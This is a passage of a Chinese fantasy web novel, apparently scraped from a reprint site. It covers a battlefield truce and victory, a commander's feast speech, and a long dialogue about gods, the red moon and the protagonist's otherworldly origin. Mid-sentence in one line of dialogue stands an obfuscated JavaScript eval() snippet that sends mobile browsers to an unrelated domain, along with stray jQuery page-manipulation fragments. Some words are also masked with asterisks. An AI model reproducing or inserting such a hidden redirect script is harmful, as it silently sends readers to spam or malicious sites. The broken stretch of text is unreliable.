这个才是此战最大的战果,诱杀曹林是进入关西的必须前置条件,也是最难的前置条件,他已经完成了,与之相比,围黜龙军不成,联河北无力,终究只是得之我幸失之我命的的东西……调整好心态就行。 更不要说,他还准备临走前再狠狠杀伤黜龙军几个营,让即便是军事行动最终也变得体面起来。 然而,现在张行领着两三万部队从原战场方向南下是怎么回事? “白公。” 察觉到异样,窦琦勒马近身来问。“这是怎么回事?” “没什么。”白横秋回过神来,在马上失笑。“李四郎这小子,我竟没看出来是个两面三刀的……前日夜间当着我的面恭恭敬敬,我一走,便居然降了张行,然后引张行反过来南下!”…. 窦琦目瞪口呆,隔了数息方才恍然,继而大急:“若是这样,咱们岂不是反而危险?!” “我在这里呢,谈何危险?”白横秋瞥了对方一眼。“而且他们也没有往我们这边来……他们去了观城!” “观城……”窦琦立即分析了起来。“怕是不光他们,单通海估计也会往观城去了!咱们马上就能知道情报了。” “不错。” “黜龙军大兵团一直在后面保持克制,现在估计也会发了疯往那里赶。” “应该如此。” “还有武阳郡……”窦琦忽然觉得有些眩晕。“武阳郡的元宝存是个老狐狸,这个局势他肯定会反水。” 白横秋点点头。 窦琦立即来问:“白公,那我们要不要回身去救?” “你觉得该如何呢?”白横秋反问道。“我……”窦琦心乱如麻,但思考片刻还是咬牙给出了结论。“我儿尚在武阳,此番若不救,不死也要被擒拿起来,生死难料……所以我私心是要救的!” “私心?!” “是。”窦琦肃然道。“但出于公心,我觉得白公,咱们真不要在这里耽搁时间了……大局上来说,曹林已死,东都不可取,河北不可撼,就该摒弃这些事情,速速西进,省的再出岔子;非只如此,若是从我们现在的战事上来说,咱们措手不及,被他们打了半日的时间差,张行、李定、单通海的联军绝对要比我们早半日与孙将军他们接触,而且很可能是在旷野中遭遇,完全来不及救援,留在城里都要被武阳郡的人给卖掉的……所以就算是我们去了,也不过是救些败兵残将,然后与黜龙军再拼命耗上一场,不值得!” “你儿子也不值得吗?”白横秋幽幽来问。 “于大局而言,这厮无足轻重,唯一值得思量的是孙将军,我们派个信使过去,让他投降,然后赎人,反而是最好的。”窦琦艰难作答。 白横秋点点头,复又摇头:“若是这般说,我反而一定要试一试把人救出来了!成不成是一回事,轻易视自家子弟性命为无物是另外一回事!窦将军!” “属下在。” “咱们试一试,以接应孙将军突围为主,一击之后,不管成与不成,都立即撤回……”话到这里,白横秋语气稍微温婉了一点。“至于段公和你家小子,委实远了些,但想来元宝存老奸巨猾,我们展现出对自家子弟的决意后,他反而心生忌惮。” “足够好了!”窦琦如释重负。 说完,二人便准备要大军从向南,改为东南。 然而,军令未下,复有下面的一位都尉亲自驰马来报,说是有人求见。 “东都故人……自东面来?叫张世昭?!”白横秋无语至极,却也是第一时间相信了对方的汇报,因为这种离奇恰恰就是张世昭的风格。…. 果然,片刻之后,白横秋便见到了昔日南衙故人,后者骑着一匹略微眼熟的黄骠马出现在了视野中。 “老白。”张世昭打马而来,开门见山。“局势你应该也知道了,张首席请你撤军,咱们两相方便。” 窦琦目瞪口呆。 白横秋压住种种心思冷笑以对:“这么说,他是怕了?” “确实是怕了。”张世昭笑道。“他说硬碰硬不是不可以,但委实爱惜自家帮众……突围一次,减员三成,尤其是其中骨干,损失更多,再打一次赢了,也要心疼死,偏偏没什么意思。” “果然是怕了。”偏西的阳光下,白横秋幽幽以对,却又摇头。“只是,他的帮众是帮众,我们的子弟不是子弟吗?” “只要你现在应下,今日中午之后被俘的人都可以发路费放回去。”张世昭晓得对方是同意了,立即说出了条件。“只要谁想走,都可以走……孙顺德也是如此,我们不会抓他,放他直接逃走,他强要作战,我们也尽量俘虏,事后放回。” 白窦二人对视一眼,明显心动,这确实是真正要谈事情的意思。 “东都军呢?”白横秋忽然问了一个奇怪的问题。 “连太原军都能回去,东都军想回东都,自然也可以。”张世昭立即笑了。 “还是不要回东都了。”白横秋幽幽以对。“司马正带着数万原本的东都精锐控制了东都,过一阵子说不得司马化达还要再带数万东都精锐回去……当年这十万东都精锐,可是集天下精华而成的顶尖募军,都藏在东都,还要再送人回去,你们就不怕睡不着觉?” “难道要他们他们拿路费去关西?”张世昭依旧含笑。 “交给段公,让他处置,如何?”白横秋正色提醒。“李定不会让张行杀了他旧日主官吧?” “也不是不行。”张世昭答应的干脆,却又再问。“可若是屈突达知道我们一律放回,忽然冒出来找我们要人我们又怎么办?” “段公、屈突达、郑善叶……”白横秋严肃给出了条件。“东都军俘虏一分为三,只要三人活着,谁想带到哪里就去哪里!” 白横秋眼看着对方点了下头,便再度回头看了眼窦琦,后者却只缓缓摇头……那意思很简单,没必要专门提他儿子……而白横秋会意,终于微微颔首,却还是不表态,只是来问:“张公,你堂堂大魏宰执,若来助我,必以国事相托。” “什么权啊谋啊,我对那个其实已经没兴趣了,你能给我的,不过还是一个南衙位置,委实没什么意思。”张世昭抬头看了看太阳,眯着眼睛平静以对。“我现在只想一件事情……” “是什么?”白横秋试探来问。“是你覆灭东夷,一统四海的夙愿?” “我老了,不敢想了。”张世昭缓缓摇头。“只要有生之年能看到巫族被解决,就足够好了。”…. 白横秋完全不解:“若是如此,何不助我?我现在就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167953|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与巫族开战!” 张世昭沉默不应。 白横秋眯着眼睛看向对方。 过了好一会,随着一道风起,卷动旁边抛荒田野上的杂苗,张世昭给出了答复:“你也老了,咱们得试试新法子。” 白横秋目视对方良久,而张世昭只在黄骠马上巍然不动,二人对视许久,终于,还是白横秋勒马转身而去。 随即,太原军终于转向西面。 一个时辰后,战斗爆发,休整妥当的单通海部主动撒开阵势,有心算无心,待孙顺德部哨骑察觉,根本来不及后撤回观城,双方在旷野中直接爆发战斗。 而且双方无论是兵力占优的单通海还是部队平均战斗力明显略高于对方的孙顺德都没有撤军的意思,因为双方都在等援军。 援军也果然很快到了,快的让孙顺德瞬间就反应过来,来者肯定不是要从澶渊更西北面过来包抄单通海的太原军主力……果然,下午春日暖阳之下,尘土飞扬,红底的“黜”字大旗当先出现,然后是密密麻麻远超想象的黜龙军。 一开始,孙顺德还以为是黜龙军大兵团连夜赶来……这当然已经很绝望了,因为他肯定会在援军抵达前崩溃……可为什么会来这么快? 一夜奔袭一百五十里?! 不过,转机似乎来了,这支风尘仆仆的兵马抵达后,却在距离战场两三里的距离外停了下来,整理队形……这似乎是个机会,或者说代表了一点机会。 “张首席,这局面咱们直接冲过去就行!我愿意做先锋!”尉迟七郎明显战意盎然。 “一炷香时间作招降,不行你来做先锋。”张行竖起一根手指,然后看向雄伯南。“天王,你去告诉孙顺德,白横秋不会来了,他今日无论何时逃我们都不追……战事已经没意义,尽量避免无谓之伤亡。” 雄伯南点头会意,标志性的紫色云霞腾起,立即吸引了整个战场的注意。 孙顺德也是如此,他定定看着那朵紫色云霞落到自己旗帜前方,根本没有逃离,反而拱手相对:“雄天王。” 雄伯南也不废话,上来告知:“白横秋不会来了,你今日无论何时逃窜,我们都不追击……李定李府君举武安全军降了我们,北地援军也到了,现在大局反覆,战事已定,不要让儿郎们平白送命!” 孙顺德没有吭声。 “你不信吗?”雄伯南蹙眉道。 “是有些不信,但无所谓信不信了。”孙顺德回过神来,勉力作答。“论私谊,我为白公旧交;论身份,我是偏师主将……我可能会逃,但不会不战而逃!” 雄伯南点点头,纵身一跃,便离开了此处。 远处,张行看到这一幕,毫不犹豫下达了军令:“尉迟将军,两军交战不久,请你率本部自蹈两军东西交战战线,沿途毁敌军锋芒!”…. 尉迟七郎即刻拱手,兴奋而去,俨然是得偿所愿。 张行再看秦二:“二郎,你为我前驱,咱们直扑孙顺德所在大旗。” 秦宝立即拱手称喏。 这时候张行方才回头看李定与徐世英:“我走之后,你们二人齐发全军,武安军随我身后铺陈,本军绕东侧包抄!” 说完不等二人称是,便兀自勒马向前。 秦宝更是持一大铁枪,字面意义上的一马当先。 孙顺德刚刚送走雄伯南,便看到了这让他绝望的一幕……黜龙军根本没有留任何余地,通知完就立即发兵。 而很快,让他感到冲击以至于彻底放弃抵抗举动的另一幕随即出现了,在足足数千骑脱离大军向前方战场过去以后,一彪人马直直卷着烟尘向自己而来,非只如此,临近军阵之时,浓厚的寒冰真气忽然间便在那彪人马中铺陈开来,白色雾气一下子就代替了烟尘。 之前参与了**的孙顺德比谁都明白这意味着什么——雄伯南怕是一个字都没说谎。 一刻钟后,随着军阵全线崩溃,孙顺德腾跃起来,向着那面大河方向逃去。 果然无人追赶。 战斗轻松取得胜利,汇合单通海带来的六个营更是让黜龙军重新掌握了部队的主动权,临近傍晚,刘黑榥、郝义德渐次抵达,落日之前魏玄定也与李子达带领淮西营抵达。 到了晚间营盘落定,元宝存居然也亲自到了。 而在这之前,张世昭更是回来告知了相关军情。 到此为止,完全可以说,黜龙帮已经熬过了这个春日猝然爆发的大危机,不要说援军如何欣喜,便是黜龙军主力部队在进入到观城城内后,也都明显有些骚动,甚至放浪形骸之态。 坐在城头上,隐隐可以听闻到哭声与笑声。 但是…… “诸位,你们也该看出来了,我们兵强马壮,危机尽释,甚至借此机会李四郎得以重归咱们黜龙帮,许许多多豪杰也都因为这一次汇聚过来,咱们自家人也前所未有的团结,这种情况我张三本该大喜特喜的,但偏偏就是我这个首席昨日以来一直心不在焉,甚至有些敷衍避战,乃至于有绥靖之态。”观城城头上,宴席开始,先飨了此战阵亡兄弟,众人落座,张行却站着不动,并按着酒碗四下来看,说出了很多人早就藏在心里的话。“你们知道为什么吗?” “是死伤太重吗?”就在身侧魏玄定恳切来问。 “死伤很重。”张行认真回复。“但不是我这般行为的原因,我的性格你们不知道吗?**的全力抚恤,伤了的尽量去治,不会耽误我去进取做事的……耽误我做事的只有一类缘故,那就是有其他的重要的事情要去做。” 周围几桌人全都无声,他们中猜什么的都有,甚至有人猜是担心白有思一头撞到幽州,唯独没人敢说是伏龙印。…. “不是白总管那里,那里便是走了些冤枉路,一个信使足够了。”张行解开了谜底。“是李枢,另一位李龙头的事情。” “啧!”单通海当场仰起头来,一副果然如此的样子,然后又端起酒来兀自灌下,似乎对此事早有想法要做表达。 其余人反应也都类似,都是果然如此的样子,而虽然没喝酒,却也干脆交头接耳起来,少数北面援军首领不大清楚,也在其余桌子上趁机来问。 “所以我从李四郎那里知道李枢离开后就有些焦躁失态。”张行继续来言,周围人也都安静来听。“今日知道一件事后,更加焦急……魏公,你从大河那边过来元城,柴孝和柴大头领就在对岸,为什么一直没找你,随你一起过来?” “因为……”魏玄定摇头。“他之前就被李龙头叫走了。” 众人一片哗然,张行再度摆手制止了这些人。 “诸位!”张行言辞恳切。“我知道,现在河北有许多许多要紧事,战事要做收尾,要**行赏,要抚恤士卒,要感谢辛苦数百里翻山渡海来救援咱们的援军,要对李四郎和武安军做人事改制、军事改编,要接手汲郡、魏郡,要处置俘虏,还要与河北各方势力算账……就连武阳郡、汲郡、清河郡春耕被战事耽搁了要补种都要排在后面……敢问诸位,哪件事不重要?但我必须要走,明日确定了白横秋西进了,我就要立即过河!这碗酒,先做赔罪!请诸位在河北继续辛苦一阵子,我尽快回来!” 说着,张首席终于端起酒来。 众人不敢怠慢,纷纷起身举杯,随着对方一饮而尽,只是单通海端了个空碗,却是站在那里给自己趁机倒了酒,待酒倒完,其余人已经纷纷落座,打眼一看除了自己和张行张首席却还有两个人没有随众坐下,乃是元宝存和雄伯南,便晓得,这是有话要说。 果然,元宝存适时开口:“首席且去,经此一战,谁是真心为了河北士民,谁持天下大义,哪个还不清楚?我们必当尽力。” 说完方才坐下。 这是表忠心,但也是大实话,很多人都诚心附和。 剩下两人,雄伯南眼瞅着单通海站在那里眯着眼睛不开口,只好先行来说: “首席,我只一句话,李枢毕竟是龙头,这次去徐州可能还要牵扯淮右盟杜龙头跟几位总管,确实非你去不可,而首席既去了,我便不好走,但请首席如有可能,务必快刀斩乱麻,把大军带回来就行,千万不要牵连过多兄弟……” 张行听到这里,仰天长叹:“天王想哪里去了?!我之所以这般焦急,不是担心李枢把部队和帮内兄弟拉到徐州回不来,而是咱们这里既然成功说服李四郎,立即重新打开局面,河南那里受了刺激,会有人自以为是,直接动手处置了李枢李龙头!而李枢平素自视甚高,怕是也自以为是,被人轻松挟制,失了性命……我是着急去救他的命!否则便先留在河北安排下事情来了!” 城内外还是嘈杂如白昼,唯独这城头上仓促摆起来的简单宴席上,却忽然鸦雀无声。 张行无奈,按着酒碗,继续来言:“诸位,你们以为柴大头领、张金树这些人,能容忍李龙头这般明目张胆分拆兵马?还要越级带走其他行台的头领?你们以为东境本土头领会愿意背井离乡,去徐州不回?更不要说,还有失了地盘的杜破阵杜龙头,各有想法分别在徐州两翼的王焯、王厚两位总管了……李枢之前最关键时候分兵,是不对,要严惩,但一则他身为龙头领行台总指挥,在我被困的时候确系有权限自行其是,最起码从现在看是如此,所以罪不至死;二则,这个此战中最大的罚,须我们帮内名正言顺去罚,而河南那些人,不管是好心还是歹意,都不能放任他们自行其是,闹出内乱来!你们说是不是?” 没有人吭声,连李定都明显有些惊讶,那些北地来的,以及武安军的军官们意识到怎么回事后也都目瞪口呆,张世昭都低头发愣。 张行无奈,去看最后那个还站着的人:“单大头领,你有什么话说?” “没有了。”单通海回过神来,直接拱手。“且敬首席一碗酒!” 说完,其余人还没来得及倒酒呢,便见到这位此战中忠勇可嘉的大头领直接端起不知道何时满来的碗,一个人一饮而尽! (本章完) . ... 第二百九十章 山海行(37) 第460章山海行(37) 天黑了,宴席散了,观城内的黜龙军突围部队还是有些骚动,明明大家还是很疲惫,却总是睡不着觉……头领们当然可以理解,实际上,就连这些头领们也按照地域、隶属、交情,三三五五**在一起交换情报,讨论局势。 至于张行,他往城西河南五营的营地略作巡视,便匆匆回到了观城城内的县衙……这是他主动要求的。倒也不是说这些日子累坏了,要脱离一下群众,而是他确实有事要做。 回到县衙,铺开纸张,也不用墨水,而是用随身携带削尖的炭笔来书写,具体内容也是想到哪儿写到哪儿: 维持军备到白横秋彻底离开,之前不得放松警惕,之后迅速设置防务; 各家都要派使者,但要分清楚态度,招抚冯无佚,**崔傥、王臣廓,示好幽州,防备薛常雄,联络晋北与北地; 严密监视东都; 果断占领汲郡、魏郡,河内郡可以稍微放缓; 李定集团保持两郡地盘和军队建制,暂时不插手对方人事、财政,但要求执行黜龙帮相关政令; 以军械、金银作报答予北面援军各处,可以仿照李定特例讨论给洪长涯龙头身份,给尉迟七郎、黄平大头领待遇,陆大为、宇文万筹、蓝璋头领待遇……若他们不愿意接受也不勉强; 迅速追回白有思; 讨论周行范、刘黑榥为大头领,韩二郎、黄屯长、白金刚、庞金刚、张世昭转为头领事宜,落实谢鸣鹤、崔肃臣为大头领事宜……秦宝不急,要带在身边安安心; 设军务总管,以徐世英兼任,以军法部兼计军功; 讨论建立大行台,并与将陵行台分割,下属王翼(军事参谋)部、文书(政务秘书)部、军法(统揽准备将兼计军功)部、军务(指挥)部、法务部、外事部、民部、屯田部、后勤军械部、仓储部、巡骑部等,直接统揽各行台指挥与地方总管……风声先放出去,行台属部数量、职责可以放开讨论补充、议论人事; 抚恤死伤士卒、安抚地方……可以询问西北诸郡受损情况,尤其要注意春耕补种,不能因为之前放粮家中有存放的陈粮、朽粮就坐吃山空,也要迅速组织商队流通…… 写到这里,张行只觉得有些头疼,一时也写不下去了。 不是说不能写,毕竟,真要是写下去,他能写一整夜,但关键在于写多了没有意义,稍微布置一点要害问题才是正确的,但偏偏连续高强度作战到今日,身体和精神负荷都到了一定份上,什么是要害,什么是关键,也未必能认知妥当,写的完全。 于是乎,其人不由叹了口气,干脆走了出来。 城里塞了这么多人,县衙里当然也不例外,许多随军的准备将、文书、参军皆在这里落脚,而且也都没睡觉。 …. 张行之前只寻了一间公房,这些公房排列整齐密集,分为左右两翼,是县衙正经办公地点,现在便相当于临时宿舍,自然人多,于是就在这两处混着王雄诞、秦二、胖金刚等人胡乱说了一圈话……无外乎是问候家人安否,调笑此战经历,也算是他张三郎的传统艺能了……待到气氛火热,从左翼公房说到右翼公房,便也站起身告辞,连秦宝等人都没叫,只孤身准备回去补完自己的计划书。 而其人来的时候是从公房正路走,走的时候住在这里的参军们则指了个侧门,说是更近,便径直过去,结果入得侧门进入一条小巷子,却当面闻得有人在啜泣。 他修为基本上已经脱离了凝丹,只要准备好观想的东西去作观想,便算是正经成丹境,自然目光透彻,抬头一看,却居然是有些印象小刘参军,不由头皮发麻,几乎想退出去,但还是扭捏走了过去。 “小刘,你这是未婚妻子出事了?”张行硬着头皮来问。“她在将陵,竟也不得安吗?是得病了吗?” 小刘参军抬起头,缓缓摇头:“不是……有劳首席挂念……她在将陵,并未出事,我也活了下来……只想着此番回去,务必完婚。” “那是怎么一回事?”张行终于不解。 “是赵大哥,做大参的赵大哥!我孤身从河南过来,只赵大哥待我如父兄……此番战事,我跟赵大哥都随首席一起……从一开始到突围出来,生生死死都没事……反而今日大事都定了,在打孙顺德时候落了马……我现在想来,实在是忍不住。”说着这话,小刘参军眼泪是止不住的往下流,前后好几次,几乎泣不成声,最后勉强止住,告知了原委,告知完以后,复又泪流不止。 张行无奈,只能拍了拍对方肩膀,然后原路折回,喊了一个参军,让他盯着小刘,自己则绕路回去了。 回到公房内,准备继续来写,但是刚刚削尖了炭笔,便有人敲门。 “三哥,有位抱着镜子的先生要找你。”秦宝敲完门后推门出声。“他说是约好的,但贾闰士不在。” “哦!”张行恍然,却是放下了炭笔,摆了下手。“请他进来。” 果然,片刻之后,王怀绩抱着镜子走了进来,然后笑了笑:“张首席明天就要过河?” “是。” “定下了?” “是。” “那我就放心了……”王怀绩叹道。 “这样就跟你没关系了?”张行抓住要点连声反问道。“有人在北面给我安排了东西?对吧,你说的!但现在看来,你只是传话的,并不愿意牵扯进来?现在晓得我下定决心南行,终于最后一丝顾忌也无了……还是说,事到如今,已经是最后机会,所以想说服我尽量北上?” “说的都对。”王怀绩想了想,正色道。“都对。” …. “坐吧。”张行抬手示意。 王怀绩也不关门,而是抱着镜子坐到了张行桌案后面的简易木榻……两个人好像是一起办公后闲聊的县中杂吏一般。 “那我先问……你说的,什么都可以问。”张行先开口。“你便是劝我,也是想通过让我知道一些事情,看看我自己能不能改主意对不对?” “自然。” “那好,你是谁?”张行也坐了下来,第一个问题理所当然。 “我当然是王怀绩,但现在我知道白帝爷知道的所有事情,也知道他的想法,他若是有话说,我也会转达。”王怀绩难得显得平静和随意,这一幕加上门外的嘈杂,若不是立在门外的秦宝回头看了一眼,几乎让人以为这是在说什么闲话。“你就当我是个活镜子。” “好。”得到了意料之中答案的张行点点头,复又来问。“谁想让我去北面?北面的东西是谁安排的?” “想你去的自然是黑帝爷,但安排上讲白帝爷也稍微掺和了半手,顺势而为那种。”王怀绩摸着镜子笑道。“你是黑帝爷的点选之一,北地人,荡魔卫出身,在黑水被黑帝爷开了锁,路安排的明明白白,自然是希望你胜过其他几个种子,回北地、整合七卫八公,仿效他当年作为,出北地入河北而争天下……便是争不了,也要趁机替他梳理荡魔卫。” “实话实话,这一条线如此清晰,我反而有些谨慎了。”张行有一说一。“黑帝爷有几位点选?” “表面上四个,实际上五个,**两个。”王怀绩回答干脆。 “还剩我跟贾越……还有谁?”张行抱着不问白不问的心态来问。 “陆夫人。”王怀绩平静作答。“那两个就是死在她手上的。” “啧。”张行发出了一声意义不明的声音。“《六韬》就是白帝爷掺和的那一手?” “在北地掺和的那一手。”王怀绩的回答客观公正。“白帝爷在这事上掺和的多了……不管是黑帝爷的点选计划上,还是你身上。” 张行听出了意味:“所以,具体怎么掺和的?” “他就是把一些东西摆在黑帝爷规划的路上。”王怀绩依旧冷静,没有半点谜语人的意思。“但这个作为还是要瞒着的,因为有些东西摆上去,黑帝爷根本不在意,有些东西就不好说了,毕竟是另一位至尊……当然,白帝爷敢这么做也是因为他知道黑帝爷对一些事情不在意,似乎知道了也无妨,但关键还是要尽量瞒着……比如说,你的另一个来历。” 张行沉默了一阵子,缓缓开口来问:“我也算白帝爷摆在黑帝爷点选计划上的东西?” “非要这么说也不是不行。”王怀绩语气冷静的可怕。“否则,我凭什么坐在这里有问必答?” “那我是不是也算是白帝爷的点选?”张行眯着眼睛来问。 …. “不是。”王怀绩立即摇头。“四御的所谓点选都是有根由的,有一种切实的东西……” “什么东西?” “具体很难说清楚。” “那就打个比方。”张行毫不迟疑,步步紧逼。 “也罢,我就大约讲解一下。”王怀绩坐在榻上,伸手从桌上取了一张纸,一边折叠一边款款来言。“你知道天地元气从哪里来吗?不是说什么根由,那个白帝爷也在找,大家只是猜想……我是说渠道,天地元气进入此方天地的渠道。” 张行想了一想,忽然看向了屋外,彼处,双月月影昏沉,但还是有一点月光落在秦宝高大身躯上的。 “不错,就是那颗红月。”王怀绩幽幽以对。“银月有形,红月其实无形,但到了至尊那个层面,是能从无形之月上感受和察觉到一些东西的……三一正教并起三辉,固然是压制了四御,可三辉并起,日月之光也相互混淆了……我明白的告诉你,天地元气就是从那颗你那边没有的红月中流出来的。” 张行心中微动,却面色不变。 “只不过,这天地元气有时有有时无,有时多有时少,大家也看的明白,还是人的活动和念头多了,天地元气也多了,所以,红月更像是一个通道,天地间发生了多少事情,出了豪杰,需要多少天地元气来对照,祂便送来多少……就好像普通人眼里,祂隐隐像是银月的影子一般,但谁是谁的影子,委实难说。”王怀绩说着,将那张有了折痕的纸展示了一下。“你也该猜到,或者说察觉到了,有时候红月那里会有些成了形状的东西出现,对应着这天下就会出特定的英雄豪杰……就好像这张纸,这张纸正是四御从那些东西里尽量取出来,控制在手里的总份。” 说完,王怀绩将纸张均匀撕开,中间是一个圆,然后是四个角,这个时候,其人将其中一角拿出来,撕扯成几块,扔在了桌上一角:“这是黑帝爷的那份,他分了几份,扔下下去,便是所谓点选了。” 张行不知道自己该用什么表情来应对这一幕,只能苦笑来对:“原来如此,我竟是一块碎纸,其余几位呢?” “其余,如白帝爷出身巴蜀,成于关陇,破局于襄樊,他当时有别的兴趣和心思,便干脆将自己那份撕的粉碎,然后扔到了整个关中、陇西、巴蜀、荆襄的地界上,谁成了这些地方的地气,便可得到这份点选。”说着,王怀绩将另一份纸角给烧掉,然后洒到了桌上空置的一个盘子上,又拿出一纸角铺在另一个桌角上,最后一个纸角干脆揉成一团摆在桌上。“青帝爷,他拿来扔给了东夷,以保他的五十州……不然,你以为为什么东夷那么难打?还有赤帝娘娘,她是最干脆的,直接选了一个人……除此之外,四御老爷因为担心这张纸撕的过于分散不能成事,便干脆留下一个没有棱角的,摆在天下之中,任由四方来争。” …. 说着,王怀绩将剩下那个圆摆在了桌案正中。 张行不由摇头:“四御老爷都太自以为是了……倒不是奉承,白帝爷还有些大气,但也不多。” “四御老爷也都是人……和龙和妖族公主,谁还没个脾气?没个脑子转不过弯来?”王怀绩不以为意道,然后拈起一纸碎片,继续他的回答。“你的黑帝爷点选,就是这个……没这个,哪里有资格称点选?” “这个有什么用?开锁?”张行状若不解。“我的下属个个凝丹成丹上宗师,我只在这里打熬?” “你肯定已经猜到了。”王怀绩伸手往门外一指。“跟这个没关系,那是黑帝爷一个标记手段而已……真正的用处是这个,你从二征中活着回来后,一进登州就遇到了门口这位……这才是用处。” 秦宝听得云里雾里,诧异回头来看,却只见到自家三哥面无表情的一张脸。 很显然,张行确实早就猜到了……秦宝这些人也是纸,却是四御没有取下的那些纸,是被红月照在此间天地中生出的本土人物。 屋子里安静了好一阵子,过了一会,秦二继续扭头过去,张行则继续开口:“你说我不算白帝爷点选,因为我不是那种东西……我也觉得不是,可若如此,我又是什么东西?” “这个又是个大问题。” “不急。”张行神色意外的放松了下来。“就当是听个故事……事到如今,我的作为,我进行的路程都是自家选的,今日阁下过来,不也是因为我走了自家的路,所以要做交待吗?” 王怀绩欲言又止,想了一想,却只是抱着镜子嘿嘿一笑:“好,我慢慢跟你说。” “我来问好了。”张行一反前态,坐直了身子,昂然来问。“白帝爷是跟我一个来路不?” “不是,他是本乡本土,是红月中有明显映照的,也就是那一次吓坏了其余三位,让其余三位至尊看懂了一些事情,于是在后面祖帝之事上拼了命的去折腾,结果犯了**。” “真有**?!” “真有。” “天是什么?” “天有意,天意天无处不在,天生万物,万物无所不包,否则哪来你我对坐?何况还有红月。” “那好,若白帝爷不是跟我一个路数,他是怎么找到的我?又怎么找到你怀中镜子的?” “有人扔过来的。” “什么玩意?!”张行目瞪口呆。 平心而论,今晚上王怀绩过来,很多问题的回答更多属于印证,因为有些东西线索很明显,一想便通,张行本人也有了一个完整的思考……目前为止,只是一些概念上的东西稍微得到纠正,而眼下这个回答却让他措手不及。 可仔细一想,却又似乎对得上了。 “老君观……”张行若有所思。“金刚们剃光头?” “老君观是白帝爷建的。”王怀绩立即纠正。“他捡到了一些东西,然后就在梦里跟一些人联络上了……后来那些人就主动扔一些东西过来,剃光头是胡乱看到的东西,学歪了。” …. 这下子,张行真有些慌了神:“所以,白帝爷居然做了邪魔外道的内应?” “非要这么说也不是不行。”受此一击,轮到王怀绩苦笑了。“但哪来的邪魔外道……若真是邪魔外道,白帝爷本人算什么?门外秦二郎算什么?你黜龙帮上上下下又算什么?” 张行也笑了。 “其实,麻烦就在这里……白帝爷因为好奇,探知了一些事情后,竟不知道自己算什么了……你知道他最差一个猜想是什么吗?”王怀绩渐渐无奈了起来。 张行摇头:“愿闻其详。” “他想,是不是天地宇宙本是宇宙根本一绝物之梦?而且不光是那个绝物自己做梦,而且有人梦中侵略,趁此方宇宙之根本尚且弱小,被你那位老君爷拿自家的东西做了污染,将自家的东西注了进来,而此方天意竟不能察觉,便生天地元气以做模仿……”王怀绩说着说着,居然有些哆嗦,眼神也有些不对劲。 怎么有点污?而且穿越一下而已,还要搞历史虚无主义吗? 张行有些无语,却赶紧来劝:“若是说梦,梦到了这个份上,又算什么梦?你能想吗,宇宙不过是一个爆竹,而我们那方天地不过爆竹上一粒炸开的火星,转瞬即熄……” “你们竟然这般凄惨吗?”王怀绩明显一惊。 “我是打个比方,但确实有这种说法。”张行勉力来劝。“意思就是,不管是梦还是一个爆竹下的灰尘,对于我们而言都只是高深不可测,既高深不可测,就不必测,只要我们面前的都是真真实实的活人,行事作物也皆有规律……你管他是什么呢?做切实的事情就好……白帝爷不也才千把年吗?” 王怀绩有些讪讪:“确实,但还是忍不住往虚了想。” “至于说什么污染,什么模仿,更是可笑……真要是按照这个说法,我可不可以说,此方世界以彼宇宙为父,以本宇宙为母,父母之间明媒正娶,而且还双方还都这般贵重,于是父精母血,将来不可限量?”张行诚恳追问。 “若是这般说……也的确这般想过,但还是心虚,所以那老君观又撤了。”王怀绩终于不再计较什么宇宙人生了。“撤了以后反而又不甘心,总想弄清楚,再加上那边的大道与此间的大道确实同路,于是这一次分纸条后,白帝爷便与那边一位道士做了个商量,那边则用个罗盘将阁下送了过来。” “若能回去,必要与那个卖罗盘的道士算账。”张行反而笑了。“但此间此时,还是那句话,我张三是自家一脚一步走出来的路,谁也不能指着来去剥夺了我什么。” “诚然如此,否则我何至于此呢?”王怀绩也诚恳了起来。“就是因为你不需要这些讯息了,就是因为你不想逃了也不怕了,就是因为你有自己的局势和根基了,而且要观想自己的东西了,我才来的……反过来说,真要视这些讯息为什么指示,然后拿着罗盘乱窜,我才不理会呢。” …. “阁下倒是滑头。”张行不由摇头。 “白帝爷落事无形,黑帝爷质朴坦荡。”王怀绩幽幽以对。“其实倒像是反过来……可还有问的吗?” “一直心心念念的两件事,来历晓得了,黑帝爷和白帝爷的安排也大约猜对了,剩下的,竟不知一时不知从何问起了……难道要问天地起源?白帝爷有没有几个伏龙印,或者镜子、罗盘一样的东西存在哪里,好给我用一用?”张行显得有些意兴阑珊。 “前一个正是白帝爷一直想知道的,答不了;后一个,倒是有些说法,但答案反而简单……没有。”王怀绩依旧很实诚。“实际上,白帝爷做伏龙印这些东西,就是因为他知道做这种长久的东西极难。” 张行恍然,继而连连颔首:“这就是最大 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“张首席要是真问的太多太杂,我嘴上答应其实也烦,说不得便要糊弄起来了。”王怀绩也不客气。“两三个还是没问题的。” “几位至尊平素都在忙什么?那些被他们分走的神仙、真龙呢?” “以前是插手凡间事,以凡间为棋盘,那时候可热闹了……祖帝之后,各方休战,白帝爷不用说,就是探寻刚刚说的这些事情,至于下面的真龙神仙,其实白帝爷这边不多的,有懒的有忙的,只要不惹事就好……而白帝爷之外,我反而不好多说。”王怀绩先做提醒。“大约就是青帝爷在拨弄祂的东夷五十州,游戏人间;赤帝娘娘继续在偏远之地开山排海拓地,应该是受了妖族二岛的启发;黑帝爷倒是像坐着不动的那个,但那位爷素来有狠劲,落事无形,不晓得会弄出什么来……但大家有约定,真到了神仙、真龙那个层面,只要是四御归拢的,都是不许入中原熟地的,不然哪来的我王怀绩能遇到此方宝镜?” …. “这么看来,还是白帝爷做的好大事业。”张行公正点评。“敕龙碑那些龙呢?” “留在中原的,都是有说法的,也不多。”王怀绩摆着手指来说。“脾气坏的就一个,你见过了,其余的人家老老实实的。咱们不好说也不敢说……至于其他经常惹事的,其实都算是外围边地了,北地的吞风君、东夷的避海君……海里还有些,就跟敕龙碑没什么关系了。” “那……三辉……” “这个不要问,三辉的事情很麻烦,是真让四御老爷无计可施的,这千把年大家这么老实,不只是天罚,三辉确实占了一半,但偏偏不清不楚,谁也不敢有定论。” “也罢,那我最后一个问题,我有可能证位至尊吗?证位跟修为有什么关系吗?” 